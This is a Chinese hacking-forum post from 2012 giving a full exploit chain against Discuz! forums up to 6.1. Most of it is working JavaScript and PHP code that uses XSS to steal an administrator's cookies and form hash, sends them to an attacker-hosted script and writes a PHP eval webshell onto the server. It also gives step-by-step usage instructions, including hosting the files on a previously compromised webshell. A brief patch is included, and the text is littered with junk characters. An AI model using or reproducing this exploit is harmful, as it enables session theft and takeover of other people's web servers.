中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell  D8 T, {8 f9 t  G
By racle @tian6.com# I9 o  `$ b$ w/ n: B
欢迎转帖.但请保留版权信息.5 [$ b( W3 ]; P  H3 S) y0 y
受影响版本iscuz<=6.1.0,gbk+utf+big5
. Y0 F' ]' X# R% i' z7 D3 W* t
- n7 K. [# p" o' m' U4 F3 O新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
. h/ E' ?3 A2 `6 {. x3 e. C
7 e: F4 `9 J7 g& m5 Q
/ _9 u: k  O8 b3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706; B: a5 R( Y0 d5 a, S
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工." E, t3 _* ?( Z, M( a# P) w

9 M& C% E9 H4 x) a  U分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..* s# x/ ?. e% t4 v5 M& p  @1 E0 N
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS* A; @- O8 N# O! V1 Q
# N+ G$ K4 f& ]2 w4 x
: |3 ]- }! k/ W8 P5 w9 H' C
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
0 P! m( {! ~; k; S' N4 E* C4 n! _

% M2 x5 L; |7 Lproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
9 E, D; K# d; `
5 L6 S; K5 e  Qproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
! K! |# B- E& Q9 B' c4 g
' ]" R. r# w& T4 ]$ _3 X: {5 X9 iproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
- U- Q+ C, z0 p9 o/ Z. ~& U: `* a6 `7 q2 Q. S7 H! r
$ Z' `- `, |( P4 j' \: I9 L
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
. B6 }7 I/ N7 J" ~) v+ q
# z' ]- q* V6 V        global $runwizardfile, $runwizardhistory;7 Y% V- q6 r: _
1 ^* |+ Q1 e2 F# E
        $fp = fopen($runwizardfile, 'w');
* p, O( A3 V4 b3 Z2 g8 a! C! q8 D# z2 K4 x( C8 w
        fwrite($fp, serialize($runwizardhistory));
4 h# w, l3 w; a# k. B/ _0 n1 D' u* K# i+ e0 y+ m
        fclose($fp);
$ }1 ~# y$ q% j9 x: r
% t$ z( [* m4 a9 k. B- T}
, W: g- J9 [0 @7 y复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.# W. O7 `$ X/ I
以下是修补的办法:function saverunwizardhistory() {
# A* V/ W2 d+ L) D6 y1 B! n9 G& G, m" Q' D- [6 x
        global $runwizardfile, $runwizardhistory;
' O( k7 g, c4 ~" b
* W# u) ]9 I  u) w5 ~        $fp = fopen($runwizardfile, 'w');2 J. Z& q" Z' W

" Q# w" P- k- i& a8 e) j        $s = '<?php exit;?>';" F0 N4 r8 D4 `3 H  R$ _

8 c; x) p3 K- o/ [0 W. Z0 P+ z1 i8 B2 D        $s .= serialize($runwizardhistory);  \+ g  M, p, z6 {* O' B& j3 l
/ r! L/ q# f* j! a7 Q/ ]
        fwrite($fp, $s);
$ }" o3 M6 X9 u% ?* s
: `6 @7 g( ^  c1 P        fclose($fp);
; o/ l; f  {6 ]( {/ n" _3 y( h* P
) ~2 J  @  {" U1 }; V2 L$ I# g: V}2 p6 S2 ^  B9 h+ u4 V; r
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.7 o9 _6 G' x$ k# Y3 [  l$ O
- s: ~) y5 o- R0 r
9 T7 f* |8 E; m, T: ?; A
8 e# p7 F" }  J9 z
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------% X  M; y( y) \4 s3 m, p

* u. {: K  m% e; R5 a. s1 e* G  g& @/ `; X
! S$ n! u) r+ M; D  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
: f' l: Y' Q+ i! e
7 _7 C) l7 k0 F我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.6 ^7 C* Q( J$ ?! ?3 r
7 {8 [9 J  P# ]; j
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
8 x* o) a" A. v& T# j: A7 J% S. ^; d: }& }, ^
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:; g5 I7 u0 o9 V5 e: N6 j
0 o2 d- J" P. P! c+ R7 @# q" e
var url="http://目标网站/admincp.php";      
0 f  b# \& v) y
" u* Q% B+ }4 |2 P! O: x) X/*获得cookies*/+ f; m6 y$ i8 @

; A) j  T1 f6 C4 b0 g1 b$ tfunction getURL(s) {
2 H& S  N/ f" K* ?: }$ w) G# _5 r5 a- |4 G" S+ r( p- D
var image = new Image();' P0 L3 I, S1 l% U
/ Y4 z. D- _3 ?4 M
image.style.width = 0;) q% J. _) V6 Z7 E  t5 Q
3 U, @+ j- A$ r# `
image.style.height = 0;
+ `4 Y  S+ _5 F0 I% n+ M! i
+ B9 e/ m0 B4 \6 g9 cimage.src = s;" l9 ~0 p6 L8 s& L. k$ g

' H. n: M- [/ D9 l}
5 F7 H1 X' W- \4 ^' t1 i
& l# Y* G9 J3 S' W% [, zgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
: E( i" O4 g3 F* p, O1 J- b- c( O" W4 n复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];$ P% |$ d, @, I; y
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
& e2 I( P' }+ C" G8 @) I
/ M/ y8 A9 t4 p8 k& Q# w9 M# z' }  V) J9 y0 _
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";9 G( u/ i2 i% S- I: [

+ d7 n; ~& I- N0 B% O3 {* m$ d' h$ ~  p0 Y5 x5 ?' J/ x6 i

8 N9 V2 i# i; _' N7 _1 l  Q/*hash*/
1 x  L0 F8 J7 h: w* I" G" t2 i$ p0 U* O3 v# K+ u
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");9 T- d, i4 I; J4 p

( C* m6 b' ?6 exmlHttpReq.open("GET", url+"admincp.php?action=home", false);
' ^5 K1 w$ i& \+ q: ~
3 ~: j9 G, g7 ~- Z6 W, _xmlHttpReq.send();# A- k! R) Q9 z+ T  [
9 y5 V9 t4 X! [( H; j; K, \
var resource = xmlHttpReq.responseText;
/ n: p+ j: r" ]4 M4 E
' n& o5 Y6 Z2 tvar numero = resource.search(/formhash/);
. x2 @& B5 z* s8 d- p. Y# c! D% C1 e' X4 u
var formhash=encodeURIComponent(resource.substr(numero+17,8));
, G! `! t9 V2 d: z2 t0 T; z* [/ |4 K& G
+ C% ^3 u( q7 b  P3 C
' W/ V9 \% o& k# c5 b' ~5 a
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
0 {( r4 Q; [5 ~# b
* U; Z1 C1 |' nxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 * v- P% d5 z, ]. _7 `1 _
) ]- Y7 {$ ]1 S$ f1 P+ X( n; j% X
xmlHttpReq.setRequestHeader("Referer", url);
' ~8 R! X/ K* b6 u, H$ t$ ~: e6 r6 F. F( y1 H. S" M" o6 Z9 \* s+ a
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% J2 ~( J- Y7 b1 y& n
$ S+ n6 M! s$ ?, l* @( l7 uxmlHttpReq.setrequestheader("content-length",post.length);
/ U' r5 W  }, s0 @7 B: O+ u. R/ Y
" K4 g) f0 p9 @& e. l- }xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 7 g2 c9 u6 d! j. `. ]) Z' N' V$ t0 w

3 ?/ {* ^3 o2 R+ J3 P6 G* LxmlHttpReq.send(post);//发送数据
# N% Z1 y  e( }- h5 d9 m复制代码这里HASH我假设正确,这样提交,也无须cookies
/ C( |+ Z9 ?( L* K7 k' n5 H) ]
2 i% k4 A% T! r( L再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
1 y( l1 M) `- U$ F$ L( w. ^. @5 i9 I5 [* B0 M8 y. }3 N  q) J
if (!$sock) die("$errstr ($errno)\n");
7 H! U5 Y" p3 \  T
! }9 q' _/ C; C$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
! U, ^9 z0 G. }5 b% [  S$ U6 k' h$ G) E4 l4 m/ e, K4 h( y! S4 Q

) o* I7 `: Q/ t$ }2 _9 ~
6 J9 f/ p: E: t) U" pfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
' I3 N3 x/ k+ q0 O9 m6 w+ U/ z- T2 f7 W, B" S
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");7 f( }$ z# s! X7 d) C3 [6 |
3 M* P$ K7 Y  t3 M) {  z
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
! Z( [) e6 `% O
8 V: f, n0 d1 mfwrite($sock, "Accept-Language: zh-cn\r\n");# ?- D/ u1 |) L( q2 m& j
/ `# m( D4 m" k! |' u+ \
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");4 U/ S2 h$ J# h( E) q! w/ q/ ~

* y% T. i8 L' \/ R) T7 Nfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
# q+ T  [$ l( n0 ?' n
) h. N1 L& N  A1 y, wfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
) b+ W: S8 `9 P. m  G
3 S; X* B" @1 [2 Dfwrite($sock, "Host: $url\r\n");
' C" e/ q0 e) X- {  f& s9 y3 B* D: ?5 ]) h: G+ J! m8 P, D
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");; T) Q* \" z% M" e9 V' [5 e; c$ y
# `0 {  Z' Z" D
fwrite($sock, "Connection: Keep-Alive\r\n");
' K+ M3 o3 L  b* R6 @! w& l! l2 R  r( P3 w. r
fwrite($sock, "Cache-Control: no-cache\r\n");4 A5 N4 P% ], a0 l5 g  T
! D! X' _; d/ B7 @3 w. N9 _! M
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");: S5 |6 T' v" {9 K: n( R1 y4 E

$ ]3 k. S& G' v' z. b6 yfwrite($sock, $data);5 j* v1 F. L$ J) a% U

+ `; ?8 s" z% q/ g/ G; S# N
" H- g5 }2 O: u2 u# g& Q' ^; P5 ]
$headers = "";) q( \' p4 N0 N1 {7 [; A! }  a& n  v
( D9 {% |+ _& z# k
while ($str = trim(fgets($sock, 4096)))2 f- i# A( n3 A* K( F% D

& P+ Z+ i1 l- F( h0 @4 H     $headers .= "$str\n";
/ O  M7 R0 Q* a  A$ X$ W$ w, E" D% v
echo "\n";% H, K1 s+ Z4 X) s' |2 u

  c4 P4 r+ W! B) M" ?( ~$body = "";7 h7 U0 A. `. ~3 f

# }! p. J2 w! T) |2 \while (!feof($sock))6 u) v* |4 w; x

, j8 D; h! C( G7 E' G7 U8 j     $body .= fgets($sock, 4096);
* v, u, X3 Z; x3 h8 {! u* B* E- y: z+ [, B6 s7 G& k  z- C* k
fclose($sock);
/ I0 C/ H, B" V" j# g3 S- p- |; {" B
echo $body;: H  \/ F& N, a' f
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
/ |- w8 N; z5 L+ l
# R9 f# @; A, o8 F- n' u- A- D3 \- O7 L  q
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
& d  ?6 Q$ n  [3 y0 ^
6 H3 N- m0 J& T4 x, v
) E3 \1 ~" N8 l! @8 C; O1HP SOCKET利用方法首先打开racle.js0 c* f1 R) a* f

7 I4 M2 w6 d0 dvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
- D: W, o  K- \4 |# H# s% f7 f% J$ S& H

( H7 U( o8 I! b0 O& m8 B4 i
! B& r( h) _$ N& y+ a然后打开racle@tian6.php
1 y! x9 S* x' }; J# s9 \/ A( H- t* R; h  U: m* a! A
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
# z5 z; w* B' j
3 G' O- f  B) k! b1 x
& g% l2 H& j2 O$ ~2 F. q$ ]& B" T9 q* m
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
/ Y& [- n4 `# x( @. L+ p* D2 b: e1 x8 N; y2 l
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));, ~& i; O) U- ]8 k
5 s( |) i* h- U( ~# J: T, N6 q

! `5 L+ I5 h9 i( o
1 ?8 ^# C) B1 X3 ^7 c% u# Y# ?getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));* k6 Y' w! V$ Q' g
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
( g* D9 V8 X8 ]7 p8 P6 r8 y2 X9 _8 e
6 F& O& ?3 G3 z- f* x! _- D+ x, v+ l7 r" G$ a
4 v5 K2 @8 Q% t: g. i& o
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
* @3 Q( A- k  R9 r* X8 ^- T, t1 n
6 M" y5 t7 {0 pvar formhash=encodeURIComponent(resource.substr(numero+17,8));
( g! D2 ]( e: y  r+ f1 H) x  S4 i# \3 ]9 K1 C* m

+ A" x! J& ?- o2 e* b% M4 d# f8 D; L& r/ m  l0 P1 A+ ?
var formhash=encodeURIComponent(resource.substr(numero+9,8));8 }* C% c! G8 u3 p; u. R" ]1 U
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
2 T% t' E4 b& b# V; G. f* W+ n3 w7 X: }2 O0 B" K# T& J; U  q
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
! {5 ?& {3 }& _- T* e3 B0 k3 B5 p! R
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.- b7 d/ X) ]. \% R6 C1 v+ @" B

9 x! L( ]. v0 s# f不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.8 l9 q7 l+ a( _* ^

/ v% E+ q4 P' P1 p




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2